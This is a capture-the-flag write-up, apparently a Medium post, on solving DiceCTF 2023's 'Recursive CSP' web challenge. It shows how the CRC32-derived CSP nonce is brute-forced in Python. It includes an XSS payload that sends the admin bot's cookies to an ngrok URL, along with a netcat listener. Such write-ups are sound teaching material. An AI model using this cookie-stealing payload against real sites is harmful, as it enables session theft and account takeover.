Recursive CSP | DiceCTF 2023
DiceCTF is a Jeopardy style Capture the flag competition by DiceGang.
Recursive CSP | DiceCTF 2023

DiceCTF is a Jeopardy style Capture the flag competition by DiceGang.
In which I was able to solve the web challenge named ‘Recursive CSP’

As you can see we were provided with two links
And said that the flag is in the admin bot’s cookies
On visiting recursive-csp.mc.ax
we will see page similar to below

On Inspecting the page we can see there is a form with get parameter ‘name’
<!DOCTYPE Html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body class="vsc-initialized">
<h1>Hello, world!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name">
<input type="submit">
</form>
<!-- /?source -->
</body>
</html>
so if I try https://recursive-csp.mc.ax/?name=darkcheftar
it gives

which means we can inject data from name parameter
tried name=<script>alert(‘1’)</script>
as PoC but No Luck
Researched about what is CSP (Content Security Policy)
Looked in the site headers
found this
content-security-policy: default-src ‘none’; script-src ‘nonce-db20e99d’ ‘unsafe-inline’; base-uri ‘none’;
And going back to question
the nonce isn’t random, so how hard could this be?
So I checked for some urls as below
[embed]
we can see the length of the nonce is always 8 character long and it looks like a hexadecimal number or 32bit long
I did quick google search to find if there is any hashing algorithm that does the same, found ***CRC32 — ***an algorithm to detect changes between source and target data.
the nonce is same for same value of name attribute
and got 66086d71 for darkcheftar for CRC32 felt like seen it before, it has to because we seen it earlier in the table.

Image from Cyberchef
So the nonce is the CRC32 checksum of the name provided, cool!
Now we need to create a script payload such that the nonce of the payload and the payload used in the nonce attribute of script are equal i.e.
if you speak python its nothing but
import requests
import zlib
import tqdm
for i in tqdm.tqdm(range(0xffffffff)):
nonce = hex(i)[2:].rjust(8,'0')
if nonce == hex(zlib.crc32(bytes(f'<script nonce="{nonce}">alert(1)</script>','utf-8')))[2:]:
print(nonce)
break
got nonce 707a02c6 after some crunching

Now Time for PoC

it works 😍
Now I need to spin up some tunneling URL like ngrok or localtunnel.me
find nonce of script that makes the admin visit our URL with cookies in the URL.
step 1: Getting a URL
ngrok http 80
got URL https://8672-103-97-166-34.in.ngrok.io/
step 2: Find the nonce run up the following program
import requests
import zlib
import tqdm
for i in tqdm.tqdm(range(0x0,0xffffffff)):
nonce = hex(i)[2:].rjust(8,'0')
payload = f'<script nonce="{nonce}">window.location="https://8672-103-97-166-34.in.ngrok.io/"+btoa(document.cookie);</script>'
if nonce == hex(zlib.crc32(bytes(payload,'utf-8')))[2:]:
print(nonce)
break
Got the nonce f7994886 after some number crunching

and the URL will be
which redirects to Our URL
which is in turn locally connected to
nc -nlvp 80
https://8672-103-97-166-34.in.ngrok.io/ZmxhZz1kaWNle2gwcGVfdGhhdF9kMWRudF90YWtlX3Rvb19sMG5nfQ==
and

Finally the flag is
dice{h0pe_that_d1dnt_take_too_l0ng}
메타데이터
- post_id
- 8401b3ec71a6
- slug
- recursive-csp-dicectf-2023-8401b3ec71a6
- url
- https://medium.com/@darkcheftar/recursive-csp-dicectf-2023-8401b3ec71a6
- canonical_url
- https://medium.com/@darkcheftar/recursive-csp-dicectf-2023-8401b3ec71a6
- author_url
- https://medium.com/@darkcheftar
- status
- ok
- fetched_at
- 2026-06-29 02:33:43